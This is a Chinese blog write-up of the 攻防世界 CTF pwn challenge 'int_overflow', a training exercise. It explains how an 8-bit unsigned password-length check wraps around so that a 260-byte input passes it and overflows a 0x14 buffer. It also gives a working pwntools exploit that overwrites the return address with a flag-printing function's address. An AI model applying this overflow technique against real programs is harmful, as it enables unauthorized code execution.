攻防世界PWN int_overflow

checksec (老规矩)

32位

canary/NX保护

ida操作

if (v4 == 1)

满足这个条件,login

跟进去

s 字段写入0x19u

看看是否存在溢出

 

0x28,看来不存在

buf 段 0x199u

 

check_passwd函数

v3   无符号整型   8字节

满足if条件即可  success

将s放到dest中

 

dest 的长度为0x14

 让s的长度够大,把what_is_this()/有flag的地址覆盖到返回地址

 

3<v3<8            可以利用整数溢出

v3可以存储最大的长度是           2的8次方=256 

对256求余/取模  

 这里s的长度是3~8 也就是 259~264

这里只要输入s的长度在259~264之间就可以溢出

这里取260

整型溢出的具体讲解参考以下博客

C语言的整型溢出问题_CHID的博客-CSDN博客_c溢出问题

 

    what_is_this_addr= 0x804868B

工作就绪,接下来准备exp

from pwn import*


#p=remote("111.200.241.244",64347)
p=process('./int')

system_addr=0x804868B
payload=b'a'*(0x14+0x4)+p32(system_addr)
payload=payload.ljust(260,b'a')


p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","1")
p.recvuntil("Please input your passwd:")
p.sendline(payload)


p.interactive()

 

 成功打通

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值